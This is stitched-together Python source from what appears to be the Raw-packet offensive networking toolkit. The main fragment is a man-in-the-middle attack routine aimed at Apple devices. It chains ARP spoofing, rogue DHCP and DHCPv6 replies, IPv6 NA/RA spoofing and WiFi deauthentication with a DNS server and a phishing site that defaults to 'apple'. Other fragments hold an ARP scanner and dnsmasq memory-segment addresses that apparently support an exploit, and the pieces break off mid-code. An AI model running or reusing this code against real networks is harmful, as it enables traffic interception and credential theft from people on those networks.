deauthentication packets') if mitm_technique is None: self._base.print_info('MiTM technique list:') _technique_pretty_table = PrettyTable([self._base.cINFO + 'Index' + self._base.cEND, self._base.cINFO + 'MiTM technique' + self._base.cEND]) for _technique_index in range(len(self._mitm_techniques)): _technique_pretty_table.add_row([str(_technique_index + 1), self._mitm_techniques[_technique_index]]) print(_technique_pretty_table) print(self._base.c_info + 'Set MiTM technique index from range (1 - ' + str(len(self._mitm_techniques)) + '): ', end='') _test_technique = input() assert _test_technique.isdigit(), \ 'MiTM technique index is not digit!' else: _test_technique = mitm_technique self._mitm_technique = \ self._utils.check_value_in_range(value=int(_test_technique), first_value=1, last_value=len(self._mitm_techniques), parameter_name='MiTM technique') - 1 # endregion # region Disconnect technique selection if self._mitm_techniques[self._mitm_technique] == 'Second DHCP ACK': disconnect = True deauth = True else: if disconnect_technique is None: self._base.print_info('Disconnect technique list:') _disconnect_pretty_table = PrettyTable([self._base.cINFO + 'Index' + self._base.cEND, self._base.cINFO + 'Disconnect technique' + self._base.cEND]) for _technique_index in range(len(self._disconnect_techniques)): _disconnect_pretty_table.add_row([str(_technique_index + 1), self._disconnect_techniques[_technique_index]]) print(_disconnect_pretty_table) print(self._base.c_info + 'Set Disconnect technique index from range (1 - ' + str(len(self._disconnect_techniques)) + '): ', end='') _test_technique = input() assert _test_technique.isdigit(), \ 'Disconnect technique index is not digit!' else: _test_technique = disconnect_technique self._disconnect_technique = \ self._utils.check_value_in_range(value=int(_test_technique), first_value=1, last_value=len(self._disconnect_techniques), parameter_name='Disconnect technique') - 1 # Do not disconnect device after MiTM if self._disconnect_techniques[self._disconnect_technique] == 'Do not disconnect device after MiTM': disconnect = False deauth = False # Use WiFi deauthentication disconnect technique elif self._disconnect_techniques[self._disconnect_technique] == 'Send WiFi deauthentication packets': disconnect = True deauth = True # Use IPv4 network conflict disconnect technique else: disconnect = True deauth = False # endregion # region Get MiTM network interface mitm_network_interface = \ self._base.network_interface_selection(interface_name=mitm_interface, message='Please select a network interface for ' 'MiTM Apple devices from table: ') self._your = self._base.get_interface_settings(interface_name=mitm_network_interface, required_parameters=['mac-address', 'ipv4-address']) if self._your['ipv6-link-address'] is None: self._your['ipv6-link-address'] = self._base.make_ipv6_link_address(self._your['mac_address']) # endregion # region Get Deauth network interface if deauth: assert mitm_network_interface in self._base.list_of_wireless_network_interfaces(), \ 'Network interface: ' + self._base.error_text(mitm_network_interface) + ' is not Wireless!' assert len(self._base.list_of_wireless_network_interfaces()) <= 1, \ 'You have only one wireless interface: ' + self._base.info_text(mitm_network_interface) + \ '; to send WiFi deauth packets you need a second wireless interface!' assert self._your['essid'] is not None \ and self._your['bssid'] is not None \ and self._your['channel'] is not None, \ 'Network interface: ' + self._base.error_text(mitm_network_interface) + ' does not connect to AP!' # region Set network interface for send wifi deauth packets deauth_network_interface = \ self._base.network_interface_selection(interface_name=deauth_interface, exclude_interface=mitm_network_interface, only_wireless=True, message='Please select a network interface for ' 'send WiFi deauth packets from table: ') self._wifi = WiFi(wireless_interface=deauth_network_interface, wifi_channel=self._your['channel'], debug=False, start_scan=False) # endregion # region Check IPv4 or IPv6 mitm if self._mitm_techniques[self._mitm_technique] in \ ['ARP Spoofing', 'Second DHCP ACK', 'Predict next DHCP transaction ID']: self._ipv4_mitm = True elif self._mitm_techniques[self._mitm_technique] in \ ['Rogue SLAAC/DHCPv6 server', 'NA Spoofing (IPv6)', 'RA Spoofing (IPv6)']: self._ipv6_mitm = True # endregion # region Set IPv4 DNS server if self._ipv4_mitm: if dns_ipv4_address is not None: self._dns_server['ipv4-address'] = \ self._utils.check_ipv4_address(network_interface=mitm_network_interface, ipv4_address=dns_ipv4_address, is_local_ipv4_address=False, parameter_name='DNS server IPv4 address') else: self._dns_server['ipv4-address'] = self._your['ipv4-address'] # endregion # region Set IPv6 DNS server if self._ipv6_mitm: if dns_ipv6_address is not None: self._dns_server['ipv6-address'] = \ self._utils.check_ipv6_address(network_interface=mitm_network_interface, ipv6_address=gateway_ipv6_address, is_local_ipv6_address=False, parameter_name='gateway IPv6 address', check_your_ipv6_address=False) else: self._dns_server['ipv6-address'] = self._your['ipv6-link-address'] # endregion # region Set IPv4 gateway if self._ipv4_mitm: if gateway_ipv4_address is not None: self._gateway['ipv4-address'] = \ self._utils.check_ipv4_address(network_interface=mitm_network_interface, ipv4_address=gateway_ipv4_address, is_local_ipv4_address=True, parameter_name='gateway IPv4 address') else: if self._mitm_techniques[self._mitm_technique] == 'ARP Spoofing': assert self._your['ipv4-gateway'] is not None, \ 'Network interface: ' + self._base.error_text(mitm_network_interface) + \ ' does not have IPv4 gateway!' self._gateway['ipv4-address'] = self._your['ipv4-gateway'] else: self._gateway['ipv4-address'] = self._your['ipv4-address'] # endregion # region Set IPv6 gateway if self._ipv6_mitm: if gateway_ipv6_address is not None: self._gateway['ipv6-address'] = \ self._utils.check_ipv6_address(network_interface=mitm_network_interface, ipv6_address=gateway_ipv6_address, is_local_ipv6_address=True, parameter_name='gateway IPv6 address', check_your_ipv6_address=False) else: if self._mitm_techniques[self._mitm_technique] == 'Rogue SLAAC/DHCPv6 server': self._gateway['ipv6-address'] = self._your['ipv6-link-address'] else: self._base.print_info('Search IPv6 Gateway and DNS server on interface: ', mitm_network_interface) self._icmpv6_router_search: ICMPv6RouterSearch = \ ICMPv6RouterSearch(network_interface=mitm_network_interface) _router_advertisement_data = \ self._icmpv6_router_search.search(timeout=5, retry=3, exit_on_failure=True) assert _router_advertisement_data is not None, \ 'Can not find IPv6 gateway in local network on interface: ' + \ self._base.error_text(mitm_network_interface) self._gateway['ipv6-address'] = _router_advertisement_data['router_ipv6_address'] if 'dns-server' in _router_advertisement_data.keys(): self._dns_server['ipv6-address'] = _router_advertisement_data['dns-server'] if 'prefix' in _router_advertisement_data.keys(): self._ipv6_network_prefix = _router_advertisement_data['prefix'] elif ipv6_prefix is not None: self._ipv6_network_prefix = ipv6_prefix if 'mtu' in _router_advertisement_data.keys(): self._mtu = int(_router_advertisement_data['mtu']) # endregion # region Set target IPv4 address and new IPv4 address if self._ipv4_mitm: self._target = \ self._utils.set_ipv4_target(network_interface=mitm_network_interface, target_ipv4_address=target_ipv4_address, target_mac_address=target_mac_address, target_vendor='apple', target_ipv4_address_required=False, exclude_ipv4_addresses=[self._your['ipv4-gateway']]) # region Set target new IPv4 address if self._mitm_techniques[self._mitm_technique] == 'Predict next DHCP transaction ID': if target_new_ipv4_address is not None: self._target['new-ipv4-address'] = \ self._utils.check_ipv4_address(network_interface=mitm_network_interface, ipv4_address=target_new_ipv4_address, is_local_ipv4_address=True, parameter_name='target new IPv4 address') else: _free_ipv4_addresses = \ self._utils.get_free_ipv4_addresses(network_interface=mitm_network_interface) self._target['new-ipv4-address'] = choice(_free_ipv4_addresses) # endregion # endregion # region Set target IPv6 address and new IPv6 address if self._ipv6_mitm: self._target = \ self._utils.set_ipv6_target(network_interface=mitm_network_interface, target_ipv6_address=target_ipv6_address, target_mac_address=target_mac_address, target_vendor='apple', target_ipv6_address_is_local=True, exclude_ipv6_addresses=[self._your['ipv6-gateway']]) # region Get target IPv4 address try: ipv4_target: Dict[str, str] = \ self._utils.set_ipv4_target(network_interface=mitm_network_interface, target_ipv4_address=None, target_mac_address=self._target['mac-address'], quiet=True) self._target['ipv4-address'] = ipv4_target['ipv4-address'] except AssertionError: pass # endregion # region Set target new IPv6 address if self._mitm_techniques[self._mitm_technique] == 'Rogue SLAAC/DHCPv6 server': if target_new_ipv6_address is not None: self._target['new-ipv6-address'] = \ self._utils.check_ipv6_address(network_interface=mitm_network_interface, ipv6_address=target_new_ipv4_address, is_local_ipv6_address=False, parameter_name='target new global IPv6 address', check_your_ipv6_address=True) else: self._target['new-ipv6-address'] = \ self._ipv6_network_prefix.split('/')[0] + format(randint(1, 65535), 'x') # endregion # endregion # region General output self._base.print_info('MiTM technique: ', self._mitm_techniques[self._mitm_technique]) self._base.print_info('Disconnect technique: ', self._disconnect_techniques[self._disconnect_technique]) self._base.print_info('Network interface: ', mitm_network_interface) self._base.print_info('Your MAC address: ', self._your['mac-address']) # region IPv4 MiTM if self._ipv4_mitm: self._base.print_info('Your IPv4 address: ', self._your['ipv4-address']) self._base.print_info('Gateway IPv4 address: ', self._gateway['ipv4-address']) if self._mitm_techniques[self._mitm_technique] != 'ARP Spoofing': self._base.print_info('DNS server IPv4 address: ', self._dns_server['ipv4-address']) if self._target['mac-address'] is not None: self._base.print_info('Target MAC address: ', self._target['mac-address']) if self._target['ipv4-address'] is not None: self._base.print_info('Target IPv4 address: ', self._target['ipv4-address']) if 'new-ipv4-address' in self._target.keys(): if self._target['new-ipv4-address'] is not None: self._base.print_info('Target new IPv4 address: ', self._target['new-ipv4-address']) # endregion # region IPv6 MiTM if self._ipv6_mitm: self._base.print_info('Your IPv6 local address: ', self._your['ipv6-link-address']) self._base.print_info('Prefix: ', self._ipv6_network_prefix) self._base.print_info('Gateway IPv6 address: ', self._gateway['ipv6-address']) self._base.print_info('DNS server IPv6 address: ', self._dns_server['ipv6-address']) if self._target['mac-address'] is not None: self._base.print_info('Target MAC address: ', self._target['mac-address']) if 'ipv4-address' in self._target.keys(): if self._target['ipv4-address'] is not None: self._base.print_info('Target IPv4 address: ', self._target['ipv4-address']) if self._target['ipv6-address'] is not None: self._base.print_info('Target IPv6 address: ', self._target['ipv6-address']) if 'new-ipv6-address' in self._target.keys(): if self._target['new-ipv6-address'] is not None: self._base.print_info('Target new global IPv6 address: ', self._target['new-ipv6-address']) # endregion # region WiFi info if deauth: self._base.print_info('Interface ', mitm_network_interface, ' connected to: ', self._your['essid'] + ' (' + self._your['bssid'] + ')') self._base.print_info('Interface ', mitm_network_interface, ' channel: ', self._your['channel']) self._base.print_info('Deauth network interface: ', deauth_network_interface) # endregion # endregion # region Start DNS server if self._dns_server['ipv4-address'] == self._your['ipv4-address'] or \ self._dns_server['ipv6-address'] == self._your['ipv6-link-address']: self._base.print_info('Start DNS server ...') thread_manager.add_task(self._start_dns_server) # endregion # region Disconnect device if disconnect: thread_manager.add_task(self._disconnect_device, deauth) # endregion # region Start IPv4 MiTM if self._ipv4_mitm: # region 1. ARP spoofing technique if self._mitm_techniques[self._mitm_technique] == 'ARP Spoofing': thread_manager.add_task(self._arp_spoof) # endregion # region 2. Second DHCP ACK technique elif self._mitm_techniques[self._mitm_technique] == 'Second DHCP ACK': thread_manager.add_task(self._dhcpv4_server) # endregion # region 3. Predict next DHCP transaction ID elif self._mitm_techniques[self._mitm_technique] == 'Predict next DHCP transaction ID': thread_manager.add_task(self._apple_dhcpv4_server) # endregion # endregion # region Start IPv6 MiTM if self._ipv6_mitm: # region 4. Rogue SLAAC/DHCPv6 server if self._mitm_techniques[self._mitm_technique] == 'Rogue SLAAC/DHCPv6 server': thread_manager.add_task(self._dhcpv6_server) # endregion # region 5. NA Spoofing (IPv6) elif self._mitm_techniques[self._mitm_technique] == 'NA Spoofing (IPv6)': thread_manager.add_task(self._na_spoof) # endregion # region 6. RA Spoofing (IPv6) elif self._mitm_techniques[self._mitm_technique] == 'RA Spoofing (IPv6)': thread_manager.add_task(self._ra_spoof) # endregion # endregion # region Start Phishing server if phishing_site is None: phishing_site = 'apple' thread_manager.add_task(self._start_ipv4_phishing, phishing_site) thread_manager.add_task(self._start_ipv6_phishing, phishing_site) # endregion # region Wait all threads thread_manager.wait_for_completion()
# Add 5 packets to number of WiFi deauth packets deauth_packets_number += 5 # endregion # region Main function if __name__ == "__main__": # region Variables Scanner = Scanner() ArpScan = ArpScan() ICMPv6Scan = ICMPv6Scan() DnsServer = DnsServer() TM = ThreadManager(5) ip_pattern = re.compile("^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$") target_mac_address = None target_ip_address = None new_target_ip_address = None target_apple_device = None first_suffix = 2 last_suffix = 255 network_prefix = None network_prefix_address = None network_prefix_length = None
class ArpScan: # region Variables _base: Base = Base() _arp: RawARP = RawARP() _raw_sniff: RawSniff = RawSniff() _thread_manager: ThreadManager = ThreadManager(2) _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None} _target: Dict[str, Union[None, str]] = {'ipv4-address': None, 'mac-address': None} _results: List[Dict[str, str]] = list() _mac_addresses: List[str] = list() _unique_results: List[Dict[str, str]] = list() _sorted_results: List[Dict[str, str]] = list() _retry_number: int = 5 _timeout: int = 5 _quit: bool = False # endregion # region Init def __init__(self, network_interface: str) -> None: """ Init :param network_interface: Network interface name (example: 'eth0') """ self._your = self._base.get_interface_settings(interface_name=network_interface, required_parameters=['mac-address', 'ipv4-address', 'first-ipv4-address', 'last-ipv4-address']) self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Scanner def scan(self, timeout: int = 5, retry: int = 5, target_ip_address: Union[None, str] = None, check_vendor: bool = True, exclude_ip_addresses: Union[None, List[str]] = None, exit_on_failure: bool = True, show_scan_percentage: bool = True) -> List[Dict[str, str]]: """ ARP scan on network interface :param timeout: Timeout in seconds (default: 5) :param retry: Retry number (default: 5) :param target_ip_address: Target IPv4 address (example: 192.168.0.1) :param check_vendor: Check vendor of hosts (default: True) :param exclude_ip_addresses: Exclude IPv4 address list (example: ['192.168.0.1','192.168.0.2']) :param exit_on_failure: Exit if alive hosts in network not found (default: True) :param show_scan_percentage: Show ARP scan progress percentage (default: True) :return: Result list of alive hosts (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': '192.168.0.1', 'vendor': 'Raspberry Pi Foundation'}]) """ try: # region Clear lists with scan results self._results.clear() self._unique_results.clear() self._sorted_results.clear() self._mac_addresses.clear() # endregion # region Set variables self._quit = not show_scan_percentage self._target['ipv4-address'] = self._check_target_ip_address(target_ip_address) self._timeout = int(timeout) self._retry_number = int(retry) # endregion # region Run _sniffer self._thread_manager.add_task(self._sniff) # endregion # region Run sender self._send() # endregion # region Wait sleep(self._timeout) # endregion # region Unique results for index in range(len(self._results)): if self._results[index]['mac-address'] not in self._mac_addresses: self._unique_results.append(self._results[index]) self._mac_addresses.append(self._results[index]['mac-address']) # endregion # region Exclude IP addresses if exclude_ip_addresses is not None: self._results = self._unique_results self._unique_results = list() for index in range(len(self._results)): if self._results[index]['ip-address'] not in exclude_ip_addresses: self._unique_results.append(self._results[index]) self._results = list() # endregion # region Get vendors if check_vendor: for result_index in range(len(self._unique_results)): self._unique_results[result_index]['vendor'] = \ self._base.get_vendor_by_mac_address(self._unique_results[result_index]['mac-address']) # endregion # region Sort by IP address self._sorted_results = sorted(self._unique_results, key=lambda ip: inet_aton(ip['ip-address'])) # endregion except KeyboardInterrupt: self._base.print_info('Exit') exit(0) if len(self._unique_results) == 0: if exit_on_failure: self._base.print_error('Could not find allive hosts on interface: ', self._your['network-interface']) exit(1) return self._sorted_results # endregion # region Get MAC address by IP address def get_mac_address(self, target_ip_address: str = '192.168.0.1', timeout: int = 5, retry: int = 5, exit_on_failure: bool = True, show_scan_percentage: bool = False) -> str: """ Get MAC address of IP address on network interface :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param target_ip_address: Target IPv4 address (example: 192.168.0.1) :param exit_on_failure: Exit if MAC address of target IP address not found (default: True) :param show_scan_percentage: Show ARP scan progress percentage (default: True) :return: MAC address of target IP address (example: '01:23:45:67:89:0a') """ # region Set result MAC address value result_mac_address: str = 'ff:ff:ff:ff:ff:ff' # endregion try: # region Clear lists with scan results self._results.clear() self._unique_results.clear() self._mac_addresses.clear() # endregion # region Set variables self._quit = not show_scan_percentage self._target['ipv4-address'] = self._check_target_ip_address(target_ip_address) self._timeout = int(timeout) self._retry_number = int(retry) # endregion # region Run _sniffer self._thread_manager.add_task(self._sniff) # endregion # region Run sender self._send() # endregion # region Wait sleep(self._timeout) # endregion # region Return if 'mac-address' in self._results[0].keys(): result_mac_address = self._results[0]['mac-address'] # endregion except IndexError: pass except KeyboardInterrupt: self._base.print_info('Exit') exit(0) if result_mac_address == 'ff:ff:ff:ff:ff:ff': if exit_on_failure: self._base.print_error('Could not find MAC address of IP address: ', target_ip_address) exit(1) return result_mac_address # endregion # region Analyze packet def _analyze_packet(self, packet: Dict[str, Dict[str, str]]) -> None: """ Analyze ARP reply :param packet: Parsed ARP reply :return: None """ try: # region Asserts assert 'ARP' in packet.keys() assert 'sender-mac' in packet['ARP'].keys() assert 'sender-ip' in packet['ARP'].keys() assert 'target-mac' in packet['ARP'].keys() assert 'target-ip' in packet['ARP'].keys() assert packet['ARP']['target-mac'] == self._your['mac-address'] assert packet['ARP']['target-ip'] == self._your['ipv4-address'] # endregion # region Parameter Target IPv4 address is None if self._target['ipv4-address'] is None: self._results.append({ 'mac-address': packet['ARP']['sender-mac'], 'ip-address': packet['ARP']['sender-ip'] }) # endregion # region Parameter Target IPv4 address is Set else: if packet['ARP']['sender-ip'] == self._target['ipv4-address']: self._results.append({ 'mac-address': packet['ARP']['sender-mac'], 'ip-address': packet['ARP']['sender-ip'] }) # endregion except AssertionError: pass # endregion # region Sniffer def _sniff(self) -> None: """ Sniff ARP replies :return: None """ self._raw_sniff.start(protocols=['Ethernet', 'ARP'], prn=self._analyze_packet, filters={'Ethernet': {'destination': self._your['mac-address']}, 'ARP': {'opcode': 2, 'target-mac': self._your['mac-address'], 'target-ip': self._your['ipv4-address']}}, network_interface=self._your['network-interface'], scapy_filter='arp', scapy_lfilter=lambda eth: eth.dst == self._your['mac-address']) # endregion # region Sender def _send(self) -> None: """ Send ARP requests :return: None """ arp_requests: List[bytes] = list() if self._target['ipv4-address'] is not None: first_ip_address: str = self._target['ipv4-address'] last_ip_address: str = self._target['ipv4-address'] else: first_ip_address: str = self._your['first-ipv4-address'] last_ip_address: str = self._your['last-ipv4-address'] index: int = 0 while True: current_ip_address: str = str(IPv4Address(first_ip_address) + index) index += 1 if IPv4Address(current_ip_address) > IPv4Address(last_ip_address): break arp_request: bytes = self._arp.make_request(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac='ff:ff:ff:ff:ff:ff', sender_mac=self._your['mac-address'], sender_ip=self._your['ipv4-address'], target_mac='00:00:00:00:00:00', target_ip=current_ip_address) arp_requests.append(arp_request) number_of_requests: int = len(arp_requests) * int(self._retry_number) index_of_request: int = 0 percent_complete: int = 0 for _ in range(int(self._retry_number)): for arp_request in arp_requests: self._raw_send.send_packet(arp_request) if not self._quit: index_of_request += 1 new_percent_complete = int(float(index_of_request) / float(number_of_requests) * 100) if new_percent_complete > percent_complete: stdout.write('\r') stdout.write(self._base.c_info + 'Interface: ' + self._base.info_text(self._your['network-interface']) + ' ARP scan percentage: ' + self._base.info_text(str(new_percent_complete) + '%')) stdout.flush() sleep(0.01) percent_complete = new_percent_complete if not self._quit: stdout.write('\n') # endregion # region Check target IPv4 address def _check_target_ip_address(self, target_ip_address: Union[None, str]) -> Union[None, str]: try: if target_ip_address is not None: assert self._base.ip_address_in_range(target_ip_address, self._your['first-ipv4-address'], self._your['last-ipv4-address']), \ 'Bad Target IPv4 address: ' + \ self._base.error_text(target_ip_address) + \ '; Target IPv4 address must be in range: ' + \ self._base.info_text(self._your['first-ipv4-address'] + ' - ' + self._your['last-ipv4-address']) + \ '; example Target IPv4 address: ' + \ self._base.info_text(self._base.get_random_ip_on_interface(self._your['network-interface'])) return target_ip_address else: return None except AssertionError as Error: self._base.print_error(Error.args[0]) exit(1)
# endregion # endregion # region Authorship information __author__ = 'Vladimir Ivanov' __copyright__ = 'Copyright 2019, Raw-packet Project' __credits__ = ['hackituria'] __license__ = 'MIT' __version__ = '0.0.4' __maintainer__ = 'Vladimir Ivanov' __email__ = '*****@*****.**' __status__ = 'Development' # endregion tm = ThreadManager(3) # Architecture i386 segments address # dnsmasq/2.77 segments address without PIE # 0x08049fa0 - 0x0807e4e2 is .text # 0x08097240 - 0x08098072 is .data # dnsmasq/2.76 segments address without PIE # 0x08049f10 - 0x0807d372 is .text # 0x08096240 - 0x08097052 is .data # dnsmasq/2.75 segments address without PIE # 0x08049ee0 - 0x0807b7d2 is .text # 0x08093240 - 0x08093f5c is .data
def scan(self, network_interface, timeout=3, retry=3, target_ip_address=None, check_vendor=True, exclude_ip_address=None): # region Set variables self.target_ip_address = target_ip_address self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) # endregion # region Run sniffer tm = ThreadManager(2) tm.add_task(self.sniff) # endregion # region Run sender self.send() # endregion # region Create vendor list if check_vendor: self.vendor_list = self.base.get_mac_prefixes() # endregion # region Wait sleep(self.timeout) # endregion # region Unique results for index in range(len(self.results)): if self.results[index]['mac-address'] not in self.mac_addresses: self.unique_results.append(self.results[index]) self.mac_addresses.append(self.results[index]['mac-address']) # endregion # region Reset results and mac addresses list self.results = [] self.mac_addresses = [] # endregion # region Exclude IP address if exclude_ip_address is not None: self.results = self.unique_results self.unique_results = [] for index in range(len(self.results)): if self.results[index]['ip-address'] != exclude_ip_address: self.unique_results.append(self.results[index]) self.results = [] # endregion # region Get vendors for result_index in range(len(self.unique_results)): # Get current MAC address prefix current_mac_prefix = self.eth.get_mac_prefix(self.unique_results[result_index]['mac-address']) # Search this prefix in vendor list for vendor_index in range(len(self.vendor_list)): if current_mac_prefix == self.vendor_list[vendor_index]['prefix']: self.unique_results[result_index]['vendor'] = self.vendor_list[vendor_index]['vendor'] break # Could not find this prefix in vendor list if 'vendor' not in self.unique_results[result_index].keys(): self.unique_results[result_index]['vendor'] = "Unknown vendor" # endregion # region Return results return self.unique_results